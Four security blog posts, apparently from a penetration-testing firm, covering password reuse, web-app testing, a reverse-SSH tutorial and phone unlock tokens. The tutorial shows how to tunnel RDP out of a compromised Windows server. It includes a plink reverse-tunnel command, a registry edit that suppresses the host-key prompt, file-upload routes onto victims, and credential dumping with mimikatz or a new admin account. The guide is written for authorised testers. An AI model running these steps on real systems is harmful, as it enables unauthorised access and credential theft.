Passwords: Strength and Longevity vs. Uniqueness

Certain events remind us of the important things; holidays may remind us of loved ones or perhaps how dysfunctional families can be. When our favorite (I use this term loosely) word processor crashes forever losing the most insightful blog document ever written, we realize we should have saved that document with greater frequency. When such an event happens to others we can use these as safe reminders for ourselves. Just like when Word crashes on the neighbor’s system, we can mumble, “should have saved more often…” whilst we hit the save button on the document that’s still titled Document1 on our own computer. In this same vein let’s take a look at the recent events that befell LinkedIn and eHarmony. With the recent password breach that befell those two organizations, has your organization done anything? It may seem odd to ask what your organization did in regards to another’s incident but this is a great opportunity for some security (re)awareness. Even if you don’t allow access to LinkedIn or eHarmony within your environment this can be an excuse to engage your company employees because odds are there are many who have an account on, at least, one of those two sites. The focus of the message shouldn’t be on strong passwords (complexity, maximum age, etc.) – although still good topics. However, password strength and associated requirements are most likely covered already in your annual training programs and via policies (if they aren’t, they should be). Instead discuss that which allows you to reach the audience on a personal level, and one that will hopefully have positive benefits within the work place. For this security awareness notice, center on the usage of passwords across multiple locations/sites. The incidents at LinkedIn and eHarmony involve the compromise of the password hashes (the hashes were copied outside of the respective sites). This doesn’t mean that the hashes for all affected users have been compromised (yet) but they can be using brute force methods given enough time. Some have made light about the consequences of what can be done to their compromised LinkedIn accounts, but the true threat to users is if they use the same credentials on multiple sites. To cross the boundaries of personal use to the workplace, what if the credentials match those within your organization? This is where we hope to raise awareness across the company to minimize this potential risk. This message should offer suggestions for using unique credentials on different sites/systems. While this may seem to suggest creating weaker passwords or passwords that can be guessed easily enough, “eHarmony-password” versus “LinkedIn-password” there are tools that can make this easier for individuals to track their personal passwords while keeping them strong. Tools like KeePass and PasswordSafe are local apps (they can also be put on USB flash drives – but only mention USB flash drives if they are allowed within your environment). However there is also a “cloud” service in LastPass. However if you decide to include mentioning such tools it is critical to include the notice to remember that master password! It’s often difficult to get people to actually pay attention to security alerts but using an event that has personal associations across departmental lines, roles, and levels is hard to pass up. Take advantage of this one while it’s still hot. Hopefully by getting individuals to use unique passwords on different sites that will include passwords used within your organization as well!


Web Application Testing: What is the right amount?

It is becoming more common these days (though still not common enough) for organizations to have regular vulnerability scans conducted against Internet-facing, and sometimes internal, systems and devices. This is certainly a step in the right direction, as monthly scans against the network and service layer are an important control that can be used to detect missing patches or weak configurations, thereby prompting vulnerability remediation. Perhaps unsurprisingly, some application security vendors are applying this same principle to web application testing, insisting that scanning a single application numerous times throughout the year is the best way to ensure the security of the application and related components.  Does this approach make sense? In a handful of cases, where ongoing development is taking place and the production version of the application codebase is updated on a frequent basis, it may make sense to scan the application prior to releasing changes (i.e. as part of a pre-deployment security check). Additionally, if an organization is constantly deploying simple websites, such as marketing “brochureware” sites, a simple scan for vulnerabilities may hit the sweet spot in the budget without negatively impacting the enterprise’s risk profile. However, in most cases, repeated scanning of complex applications is a waste of time and money that offers little value beyond identifying the more basic of application weaknesses.  Large modern web applications are intricate pieces of software. Such applications are typically updated based on a defined release cycle rather than on a continual basis and, when they are updated, functionality changes can be substantial. Even in the cases where updates are relatively small, the impact of these changes to the application’s security posture can still be significant. Due to these facts, repeated scans for low-level vulnerabilities simply do not make sense. Rather, comprehensive testing to identify application-specific weaknesses, such as errors related to business logic, is necessary to truly protect against the real threats in the modern world.  Your doctor might tell you to check your blood pressure every few weeks but he would never lead you to believe that doing so is a sufficient way to monitor your health. Rather, less frequent but still regular comprehensive checkups are recommended. So why would you trust an application security vendor that tells you that quantity can make up for a lack in quality? There may be a place in the world for these types of vendors but you shouldn’t be entrusting the security of your critical applications to mere testing for low-hanging fruit. A comprehensive approach that combines multiple automated tools with expert manual testing is the best way to ensure that your web applications are truly secure.


How to Access RDP over a Reverse SSH Tunnel

In this blog I’ll be providing instructions for establishing an RDP connection over a reverse SSH tunnel using plink.exe and FreeSSHd. I’ll also show how to do it without having to accept SSH server keys interactively, which can come in handy when pentesting.  The methods outlined can also be used to tunnel other protocols over SSH connections in order traverse firewalls, but I thought RDP was one that people could use in many scenarios.  This blog should be useful to penetration testers, admins, and any home users looking for a pseudo VPN solution. The following steps will be covered:

  1. Install FreeSSHd
  2. Install PuTTY
  3. Configure Tunneling Options in FreeSSHd
  4. Create User Accounts in FreeSSHd
  5. Create the Key Pair for each User with PutTTYgen
  6. Test the FreeSSHd Configuration with PuTTY
  7. Add Registry Key to Remote Server (compromised server) with Reg
  8. Upload Plink.exe to the Remote Server (compromised server)
  9. Run Plink.exe on the Remote Server (compromised server)
  10. Access Tunneled RDP Session on Local Port via RDP Client

Note: I realize this would be easier to understand if their was an image, but I got a little lazy.  Sorry about that. Hopefully it still makes sense.  If you have any questions or comments feel free to contact me.

Install FreeSSHd

You can just as easily use some other Linux SSH server like OpenSSH (included in Backtrack, though you may have to enable it), but this blog is tuned for Windows users so I’ll be showing how to install and configured FreeSSHd.  However, make sure you have the most recent version, because the older ones have a few security issues. 😉  I’ve provided basic installation instructions for FreeSSHd below:

  1. Download FreeSSHd from
  2. Install it.  However, I recommend not running it as a service.  That way it won’t startup automatically.  Unless, of course that’s what your looking for.
  3. Double-click the FreeSSHd icon on the desktop.
  4. The icon will appear on the Windows taskbar.

Configure Tunneling Options in FreeSSHd

Next, we want to make sure that our SSH server is configured to actually support tunneling.   So below I’ve provided the basic instrucitons:

  1. Left-click the FreeSSHd taskbar icon to view the settings.
  2. Navigate to the “Authentication” tab.
  3. Set the “Public key folder”  to the file system location where you store your public keys.  This step really only applies if you’re planning to use public/private key pairs to authenticate to the server instead of a password.
  4. Set the “Password authentication” and “Public key authentication” options to “Allowed” by choosing the associated radio buttons.
  5. Press “Apply”.
  6. Navigate to the “Tunneling” tab.
  7. Ensure that the boxes next to “Allow local port forwarding” and “Allow remote port forwarding” are checked.
  8. Press “Apply”.

Create User Accounts in FreeSSHd

Alright, let’s create some users:

  1. Navigate to the “Users” tab.
  2. Click “Add” to create a new user.
  3. Enter the desired login and authentication information (password or key).
  4. Select all of the user options.
  5. Press “Apply”.
  6. Repeat as necessary for each user.

Create the Key Pair for Each User with PuTTYgen

Once again, this step only applies if you’re planning to use public/private keys pairs to authenticate.  If your tunneling RDP over SSH as a pseudo VPN solution, it’s a good idea to steup a password protected key to authenticate to your SSH server.  However, during a penetration test, it usually it makes more sense to use a password to authenticate.

  1. Download the PuTTY installer from
  2. Install PuTTY.
  3. Navigate to Start > All Program > PuTTY > PuTTYGen.
  4. Click “Generate”, and move the mouse around to create random values for the  new key pair.
  5. When the generation is complete, the public key will be displayed in the top text area.  Copy it to notepad, make sure it is on one line, and save it to a file.
  6. Name the file after the user it will be used for. Then move it to the public keys directory you defined in the FreeSSHd “Authentication” tab earlier.
  7. I’ve found that FreeSSHd can be a little flakey at times, so I recommend completely unloading and reloading FreeSSHd to make sure that all of your settings stick. I’ve noticed that simply restarting the SSHd server via the GUI doesn’t always do the trick.

Test the FreeSSHd Server Configuration with PuTTY

Especially, during a penetration test it’s a good idea to test out your configuration on the local LAN before trying it out on a compromised system.  Below I’ve provided instrucitons for using PuTTY to test the account and FreeSSHd configuration.

  1. If you are using a key to authenticate, navigate to Start > All Program > PuTTY > Pageant.  Pageant with open, and you can load your private key.
  2. Navigate to Start > All Programs > PuTTY > PuTTY.  PuTTY will open.
  3. Enter the IP address of your FreeSSHd server, and press “Open”.
  4. You will be prompted to accept the key from the FreeSSHd server – accept it.  The next time you log into the FreeSSHd server you’ll notice that you don’t have to accept it, because plink and PuTTY add a registry entry to track trusted hosts in Windows.
  5. Authenticate:
    1. If you configured your account to use a password, or a private key with a password, then you will need to provide it before gaining access to a shell.
    2. If you configured a private key without a password you should be provided a shell immediately after entering your username.

Add Registry Key to Remote Server (compromised server) with Reg

This step pretty much only applies to the penetration testers reading this blog.  Remember a second ago when you had to accept the FreeSSHd server key before authenticating?   Having that trust relationship is a requirement, and neither PuTTY or plink have a an option to suppress that check.  That‘s a bit of a bummer for penetration testers, because in many attack scenarios we don’t have an interactive shell to work with.  Have no fear though – Antti and I have come up with a work around. As I mentioned in the previous steps, plink and PuTTY add a registry entry to track trusted hosts in Windows.  So, we found that to supress the “do you trust this host” prompt, we can simply add the FreeSSHd host key to the registry on the compromised server using the reg command.  As a result, we can initiate a reverse SSH session without an interactive shell.  HuRay! Below are the instructions for grabbing the registry entry from your system and installing it on the compromised server:

  1. Navigate to Start > Run .
  2. Type “regedit”.
  3. Navigate to HKEY_CURRENT_USERSoftwareSimonTathamPuTTYSshHostKeys.
  4. Right-click and export the registry entry that was created when you accepted the FreeSSHd server key.
  5. Add the registry entry to the compromised server using the reg command.  In the example below is the FreeSSHd server IP address and is the compromised server IP address.

Reg add KEY_CURRENT_USERSoftwareSimonTathamPuTTYSshHostKeys /v rsa2@22: /t REG_SZ /d “0x23,0xcb2b55db55f787472197e10017fd3ef10a30987cbe1049375c4c9ac63df05 a20bc3587af745e7169431dc4315b689ab38c61a5715ad65742cb4ad278479b126 a866725faf87016aefb46becd0299f29269c889292720bbdaaf09fe1fbe81eca27139 b15aa2be2266dd90b1106a24b7770f6d2fa7dcdbb1a36f7d353d898e24e92c3a8c3 b575f48a561975f17f8f2ef34680e1e595edaf9f8f00c75bb736160e86da6b773f4e05 ec022117c413463093638aafc567738473f25dc8301fab7d8d2ef57c9790b04cb5ad d5df66f084866320e34892c1491c0c9cb1a93fb43b74aec6abd55b676c22f9dc4b4f 1daab0f4e7c08a3203bc2a2c952318b37cf8df9ca55”

Ok, now that you’ve done all that, its time for a little full disclosure. I learned from my buddy HDESSER after I wrote this that someone already went through the trouble of writing an alternative plink client that does not prompt users to accept (cache) the host key.  Its available at  I recommend checking it out.  If you use that instead of the original version you will not have to do the registry hack first.

Upload Plink.exe to the Remote Server (compromised server)

Now its time to upload plink.exe to the compromised server. Plink is a Windows SSH client that is part of the PuTTY installation package.   If your using key based authentiation then you should also upload your private key at this point.  The method used to upload plink.exe may depend on the vulnerability that provided initial access to the compromised server, and the existing security controls.  If you already have the ability to execute arbitrary commands on the remote server (compromised server) then uploading plink.exe shouldn’t be an issue. However, for those of you looking for somewhere to start, I’ve listed some common options below.

  • Web upload forms (php, asp, aspx, cfm, cgi, etc) allow you to upload arbitrary files to the compromised server quickly without an interactive shell.
  • FTP client and the “–s”  script option allows you to download files to the compromised server from an FTP server easily without an interactive shell.
  • MSSQL and xp_cmshell allow you to upload files via local commands, bulk inserts, powershell, etc.  This is a nice option when executing the attacks via a SQL injection.
  • TFTP server.  Hopefully I don’t have to explain this one.
  • Network shares can be used to upload file after being mounted using the net commands.
  • If you already have an RDP session, but are looking to send one outside of the firewall then you can upload files via the shared clipboard and local drives.
  • The Meterpreter shell upload command does exactly what it sounds like, but of course requires an existing meterpreter shell.

Run Plink.exe on the Remote Server (compromised server)

Almost there – Using the instructions below, start a reverse SSH tunnel that maps remote desktop port 3389 on the compromised server to port 12345 on the FreeSSHd server.  In the example below is the FreeSSHd server IP address  (server) and is the compromised server IP address (client).

  • Syntax: plink.exe -P 22 -C -R -l netspi -pw letmein
  • Example: plink.exe  -P 22 -C -R -l test -pw password

Important Note: Please keep in mind that when traversing firewalls over the internet make sure to use your INTERNET facing IP address so the compromised server can actually connect back to your FreeSSHd server. Remember that some port forwarding may be required on your end. Finally, executing plink.exe with the at.exe or schtasks.exe command can be useful in some scenarios.

Access Tunneled RDP Session on Local Port via RDP Client

How does it feel? After like 10,000 steps your finally at the payoff.  Are you excited?  Be honest.  Ok, ok -enough chatting, let’s finish this thing.

  1. If you don’t already have local credentials for the compromised system, now would be a good time to do one of the following things so you can actually log into your tunneled RDP connection: – Create a local administrator account with the net user command. – Dump unencrypted credentials with mimikatz. – Dump and crack the local password hashes with smart_hashdump or fgdump. – Dump passwords from files or the registry. – Etc, etc, etc…
  2. Log into your FreeSSHd server locally or via RDP.  Navigate to Start > Run.
  3. Type “mstsc” on the FreeSSHd server.
  4. Type “”
  5. Press enter.
  6. Enter your credentials to login.
  7. Ta – wait for it – da! –  Now you have pretty screenshots for your reports!

Wrap Up

It may not be the fastest option, but reverse SSH connections can be used to tunnel pretty much anything. Regardless of the protocol you’re tunneling, I recommend using the registry hack or modified plink executable during penetration tests to make life a little easier. Finally, for those who are interested, I’ve listed a couple of links in the references section to blogs that provide instructions for using plink with metasploit. Have fun and hack responsibly.



Smartphone Pattern Unlock Sucks

Pattern unlock sucks. Everyone knows it. Pattern unlock provides security benefits that are dubious at best. Anyone can shoulder surf your pattern, or even your PIN, since most PINs are displayed at least momentarily in cleartext. Phone manufacturers have noticed the problem, and tried to create new lock technologies that don’t suck: Motorola had a fingerprint reader on the Atrix, and Google’s ICS includes face-unlock. While either of these options are better than PIN or pattern unlock, I think we can do better. Every day there are new gadgets released to work with smartphones. Mostly, these devices are curiosities or toys; smart balls that can be controlled by phone, or remote control airplanes. All of these toys include the raw components to fix the problem with PIN/pattern unlocks forever. Combine a wireless interface (Bluetooth, NFC, or WIFI) with certificate based authentication, and we’ve just created a second factor for authenticating to your phone. Multi-factor authentication relies on two different pieces to prove your identity: something you have (a physical device, which will authenticate your phone) and something you know (your pin or gesture).  Actually, this technology is pretty similar to modern cars that don’t have a key, but rather radio keys that allow the car to be started whenever the key is inside the cab. Imagine that instead of/addition to unlocking your phone with a PIN or pattern, you had a keychain dongle to activate. Press a button, or pass the phone within NFC distance, and the phone and your new authentication device exchange cryptographic signatures to validate each other’s presence. Your phone now knows with some degree of certainty that it’s in the presence of a physical token separate from your phone. Using modern cryptographic signatures, this process wouldn’t be vulnerable to mere replay attacks; using encryption with signatures can prevent Man-in-the-middle attacks. That isn’t to say this system wouldn’t have any issues at all. Obviously, if someone steals your phone, there is potential for them to steal your keys. Especially if you’re robbed, mugged or your house is broken into. I’m not super sure that the security of your phone should be your top priority in those instances, however. Luckily, since your phone has a constant internet connection, it’s even possible to create a method for deactivating an authentication token remotely. Much like how SSL certificates can be revoked, if the authentication device is designed correctly a central authority may be able to prevent a stolen token from authentication to your phone.